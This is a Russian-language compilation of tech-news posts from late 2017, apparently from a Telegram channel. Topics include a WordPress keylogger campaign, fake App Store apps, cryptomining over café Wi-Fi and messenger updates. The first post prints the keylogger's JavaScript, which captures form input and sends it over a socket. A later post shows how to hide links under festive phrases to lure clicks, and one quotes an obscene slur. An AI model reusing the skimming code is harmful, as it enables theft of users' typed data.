​​Кейлоггер обнаружен в более чем 5000 сайтах WordPress

Хакерам удалось скомпрометировать сайты WordPress и внедрить вредоносный скрипт в файл functions.php - стандартный файл всех тем WordPress. Вредоносный код работает как кейлоггер и ворует все данные, которые пользователи заносят в различные формы:

 process_event(event) {
  var result = JSON.stringify({
    key: event.target.value,
    element: event.target.id
  });
  socket.send(result);
}

var i_fields = document.getElementsByTagName('input');
for (var i = 0; i < i_fields.length; i++)  {
  i_fields[i].addEventListener('blur', process_event);
}

Загрузка вредоносного скрипта осуществляется с домена cloudflare.solutions, который не имеет никакого отношения к компании Cloudflare. Так же, на данном домене, уже было обнаружено два разных вредоносных скрипта.

Первый использовался злоумышленниками в апреле текущего года для встраивания рекламных баннеров на взломанные сайты посредством вредоносного файла JavaScript.

В ноябре те же хакеры стали использовать скрипты замаскированные под фальшивые библиотеки jQuery и файлы Google Analytics, которые на самом деле были разновидностью браузерного майнера криптовалюты Coinhive.

На данный момент, домен cloudflare.solutions не доступен.

Источник

#новость

​​В ТОП рейтинга AppStore вошёл поддельный кошелёк для криптовалют

Неофициальное приложение MyEtherWallet всего за неделю вышло на третье место в категории “Финансы” в AppStore, при этом не имея никакого отношения к компании MyEtherWallet.com. Об этом компания сообщила в своем твиттере:

“Это не наше приложение! Мы уже заполнили все необходимые заявки и надеемся на помощь сообщества в пресечении этого мошенничества”

Скорее всего MyEtherWallet.com попало в App Store путём обновлений. То есть изначально приложение предназначалось не для подделки кошелька. Это было нужно чтобы обойти строгие критерии отбора «яблочной» компании.

Приложение успели скачать несколько десятков тысяч раз и это при цене в $4,99. На данный момент, поддельное приложение удалено из AppStore. Замечу, что, официального приложения MyEtherWallet.com в App Store нет.

#новость

​​Instagram удалил рекламу с «волосом» на экране

Китайская обувная фабрика Kaiwei Ni пошла на хитрость и добавила волосок на изображение с рекламой кроссовок в «историях» Instagram. Все выглядело так, будто волос лежит поверх экрана смартфона.

Нарисованный волос побуждал пользователя смахнуть вверх по экрану — этот жест используется в «историях» Instagram для перехода по ссылке, которую разместил рекламодатель.

Instagram заявили, что автор рекламного поста нарушил правила сервиса, поэтому его реклама удалена, а аккаунт получил запрет на размещение любых объявлений.

#новость

​​Провайдер майнил криптовалюту, используя клиентов Starbucks

Предприниматель Ноа Динкин в своем Twitter опубликовал скриншот с html-кодом страницы, на которую перенаправлял бесплатный Wi-Fi в одном из заведений Starbucks в Буэнос-Айресе.

В коде был подключен скрипт Coinhive, который используется для браузерного майнинга криптовалюты Monero. Количество Monero, которое можно добыть таким образом, ничтожно мало, но если к этому привлечь тысячи устройств, то результат может быть существенным.

Представители Starbucks отреагировали на обращение мужчины с извинениями и отметили, что компания уже исправила проблему. Также они уточнили, что виновата не кофейня Starbucks, а провайдер, который предоставлял по договору бесплатный интернет в кафе.

#новость

​​«ВКонтакте» разрешила удалять свои сообщения у собеседников

Для этого достаточно выделить сообщение и нажать на иконку корзины, после чего появится окошко с подтверждением, в котором нужно поставить галочку напротив «Удалить для всех»

Несколько важных моментов:
— Удалить сообщение для всех можно только в течение 24 часов.
— Удаленное сообщение никак не фиксируется. То есть оно просто пропадает из переписки.
— Если ваше сообщение было переслано, то удалить пересланные копии не получится.

#новость #вконтакте

​​Как получить стикеры "Pepsi" Вконтакте?

Инструкция:
1. Напишите боту vk.com/pepsi слово "Привет".
2. На вопрос "Хочешь открыть все стикеры в моем наборе?" ответьте "Да".
3. На запрос кодовой фразы напишите "Новый год — это момент. Отпразднуй его".
4. Опубликуйте историю с маской: vk.com/mask-10362317_2222.

В результате вы получите весь набор стикеров "Pepsi" Вконтакте.

#стикеры #вконтакте

​​Подборка №4 полезных материалов с канала "Не баг, а фича!":

1. Как читать удаленные сообщения в WhatsApp?
2. Как скачивать видео с YouTube при помощи Telegram?
3. Обход ограничения прослушивания фоновой музыки во «Вконтакте» и «Одноклассники».
4. Как скачать фото, видео, аватарки и истории из Instagram с помощью Telegram?
5. Обход ограничения в 150 МБ при загрузке приложений из App Store через мобильный интернет.
6. Как скачать всю музыку из ВК?
7. Стикеры "СберКот" Вконтакте бесплатно.
8. Как получить стикеры "Pepsi" Вконтакте?

#подборка

​​Apple пропустила в App Store подделку игры Cuphead

18 декабря, в магазине приложений App Store появилась подделка игры Cuphead — платформер с ПК и Xbox One, стилизованный под старые мультфильмы 30-х годов от «Диснея».

В описании были настоящие скриншоты из игры, совпадала также компания-создатель — StudioMDHR. Но был указан сайт studiomdhrgames.com, в то время как оригинальный сайт — studiomdhr.com. Как оказалось, поддельный сайт оформлен на некоего Вальтера Грегора, который не числится в списке сотрудников компании StudioMDHR.

Сайты сильно отличались – на первом можно увидеть только броскую и яркую рекламу игры, а на оригинальном – новости о последних патчах и так далее. Настоящая компания-разработчик подтвердила, что приложение, загруженное в App Store – фейковое.

Стоимость фейковой игры составляла $4.99. На данный момент игра удалена из App Store, но все равно непонятно как в Apple смогли её пропустить.

#новость

​​В работе Telegram произошел сбой

Первые публикации о неполадках мессенджера появились 19 декабря примерно в 19:30 по московскому времени. Сервис работал медленно или не работал вовсе.

Основатель Telegram Павел Дуров на своей странице в Twitter заявил следующее:

«Из-за безумного роста трафика в последнее время сообщения доставлялись медленнее. Мы внесли изменения, завтра все должно работать нормально»

По данным мониторинга DownDetector, неполадки в мессенджере были отмечены в нескольких странах. Жалобы поступали от пользователей из России, Украины, Центральной Европы, Великобритании и Испании.

#новость

​​Сервис Telegraph Павла Дурова забанили из-за многочисленных жалоб

«Временные неполадки с доменом telegra.ph возникли из-за фиктивных отчетов в dotPH из России. Работаем вместе с ними над этим» - написал Павел Дуров в своем твиттере.

Проблема возникла 19 декабря. При попытке зайти на сайт telegra.ph, отображался сайт Филиппин с надписью "telegra.ph доступен для регистрации".

Представители Telegram сообщили, что неполадки будут устранены в течение 12 часов. До этого времени все функции telegra.ph стали доступны на graph.org. Чтобы получить доступ к существующей статье, нужно заменить в её ссылке telegra.ph на graph.org.

По данным регистратора dotPH, домен telegra.ph был создан в 2009 году и действителен до 11 июня 2027 года. При попытке продлить домен появляется сообщение, что он зарегистрирован на пользователя, чьи данные скрыты, на срок с 2012 по 2027 год.

На данный момент разработчики вернули себе домен telegra.ph и сайт полноценно работает. Так же они заявили, что graph.org пока продолжает функционировать как альтернатива.

#новость

​​Переводчик «Яндекса» научился переводить текст в эмодзи

Данная возможность появилась 20 декабря на сайте и в мобильных приложениях. Чтобы воспользоваться ей, нужно выбрать эмодзи из списка языков.

При переводе текста система разбивает его на отдельные слова и фразы и представляет в виде векторов в соответствии с их смыслом: в таком же виде представлены и сами эмодзи. Затем система сопоставляет два вектора и выдает пользователю результат с максимально совпадающими векторами.

Функция работает как при переводе с любого языка в эмодзи, так и обратно. Примеры переводов можно увидеть на приложенной картинке.

#новость

Telegram может выпустить собственную криптовалюту

Об этом сообщил бывший топ-менеджер «ВКонтакте» Антон Розенберг, который в сентябре обвинил Дурова в незаконном увольнении из Telegram.

Розенберг рассказал, что вопрос о монетизации Telegram стоит достаточно остро, в том числе и из-за заявления Дурова о том, что он не планирует продавать Telegram и не хочет пускать в него рекламу.

Предполагаемая криптовалюта будет называться Telegram Open Network(сокращенно TON), которая может стать крупнейшей по количеству пользователей.

Можно ли доверять словам Розенберга, неизвестно, но он опубликовал "слитый" рекламный ролик подтверждая этим свои слова.

#новость

Новые бесплатные стикеры от "Durex" во Вконтакте

Инструкция:
1. Напишите чат-боту vk.com/durex
2. Ответьте на несколько простых вопросов
3. На три вопроса из теста напишите: 3, 2, 2

#стикеры #вк

​​Эдвард Сноуден представил мобильное приложение для защиты от слежки

Приложение называется Haven, а предназначено оно для фиксации изменений в помещении, где находится мобильное устройство. Для этого, приложение использует обычные датчики на телефоне: гироскоп, акселерометр, сенсор освещённости, камеру и микрофон.

"Представьте, что у вас есть сторожевой пёс, которого можно взять в любой отель и оставить в комнате на время отсутствия. Он очень умен и замечает все, что происходит, фиксируя это на пленку. Настоящая идея заключается в создании доверия к физическому пространству вокруг нас" - Эдвард Сноуден

Сноуден признал, что Haven не остановит людей, вторгшихся в комнату, однако программа может помочь задокументировать это и раскрыть информацию о произошедшем. Таким образом приложение мешает спецслужбам злоупотреблять своим положением.

На данный момент, приложение доступно только в Beta-версии на устройствах с операционной системой Android.

#новость

​​Очередной сбой в работе Telegram

Проблема произошла 25 декабря в 15:10 мск. Мессенджер либо подвисал, либо сообщал о внутренней ошибке сервера.

Сбой мессенджера в основном задел жителей восточной Европы и России, а заключался в неудачных или долгих попытках отправить сообщения, а также в проблемах при загрузке медиафайлов.

Аналогичный сбой был зафиксирован 18 декабря и охватил как Россию, так и страны Европы. Павел Дуров тогда заявил, что сбой был вызван резким ростом трафика в мессенджере.

На данный момент, корректная работа мессенджера восстановлена.

#новость

​​В календаре «Газпром нефти» нашли пасхалку с оскорблением Артемия Лебедева

Данный календарь вышел в декабре и посвящен марке «ДизельОпти». Как оказалось, в нем содержался QR-код с зашифрованной фразой:

"артемий лебедев пидарас и хуесос"

Рекламное агентство «Редарт», которое занималось производством данного календаря, заявило следующее:

"...появление QR-кода с ошибкой в дизайн-макете новогоднего календаря является самовольным действием сотрудника, работавшего над разработкой данного проекта. Сотрудник проигнорировал согласованный с Заказчиком макет с верной ссылкой на сайт и направил в типографию некорректный вариант. ООО «Редарт» проводит внутреннее расследование, на данный момент мотивация действий сотрудника выясняется. Приносим свои извинения уважаемому коллеге А. Лебедеву и Заказчику. Партия календарей будет отозвана и заменена на корректную. Мы сделаем все возможное, чтобы исправить ситуацию"

Сам Артемий Лебедев с юмором отнесся к произошедшему, но при этом заявил следующее:

"...хотя лично мне приятно находить такие пасхалки, их авторы должны быть уволены с особым цинизмом и поражением в правах."

#новость

Вконтакте появились первые анимированные стикеры

Набор стикеров можно добавить бесплатно по ссылке vk.com/stickers/korzhik

Автоматическую анимацию можно отключить в настройках магазина стикеров

​​Надоела реклама в Viber?

Если да, то есть простой способ избавиться от неё.
Дело в том, что в Viber по умолчанию включена опция для получения коммерческих сообщений, то есть рекламы.

Чтобы отключить её, необходимо сделать следующее:
1. Зайти в "Настройки" Viber.
2. Перейти в пункт "Вызовы и сообщения".
3. Убрать галочку "Получать сервисные сообщения".
Таким простым способом вы перестанете получать регулярный рекламный спам в Viber.

#лайфхак

​​Вконтакте появилась новая предновогодняя фишка

Если написать «С новым годом» или «С наступающим» в комментарии, сообщении или записи, то эти фразы выделяются красным цветом, а после клика по ним, на странице рассыпается конфетти.

Но у данной фишки мы выявили интересную возможность. Дело в том, что Вконтакте позволяет создавать внутренние ссылки на страницы, группы, сообщества. Пример:

@durov (Верни стену)

Данная запись преобразуется в ссылку на страницу vk.com/durov с текстом «Верни стену».

Собственно, таким же образом мы можем спрятать внутреннюю ссылку под фразами «С новым годом» или «С наступающим», на которые пользователи будут кликать просто ради интереса. Пример:

@ufc (С новым годом)

Данная запись преобразуется в ссылку красного цвета на группу vk.com/ufc и будет вызывать конфетти при клике.

На момент публикации, нововведение доступно только в веб версии Вконтакте.

#новость #вк

​​Нововведения в Telegram

IOS, Android:
— Возможность быстрого ответа на сообщения. Для этого необходимо сделать свайп влево по экрану.
— В IOS появились четыре темы, среди которых — две тёмные и одна минималистичная с возможностью выбирать цвета.
— На Android появилась поддержка нескольких аккаунтов. На одно устройство можно добавить до трёх учётных записей.

Desktop:
— Группировка медиафайлов в альбомы при совместном использовании нескольких фотографий и видео (до 10 носителей).
— Разрешено добавление медиафайлов из буфера обмена и изменение порядка медиа при отправке альбома.
— Администраторы каналов и групп могут редактировать приватные пригласительные ссылки.
— Теперь при просмотре альбома видны миниатюры.

#новость #телеграм

​​В США автомат два часа выдавал только выигрышные лотерейные билеты

Инцидент произошел в штате Южная Каролина в моментальной рождественской лотерее, когда на билете должно совпасть минимум пять одинаковых символов. Автомат на протяжении 2 часов стал выдавать только выигрышные билеты на 500$.

Когда организаторы узнали о проблеме, они закрыли розыгрыш, но автомат успел выдать выигрышных билетов на сумму в 19,6 млн. долларов.

Например, две американки потратили на билеты около 200$, а выиграли почти 18000$. Но когда они пошли обналичивать выигрыш, им отказали в выплате указав на технический сбой программы.

При этом организаторы заявили, что запустят новую лотерею к концу января и тогда выплатят деньги победителям.

Источник

#новость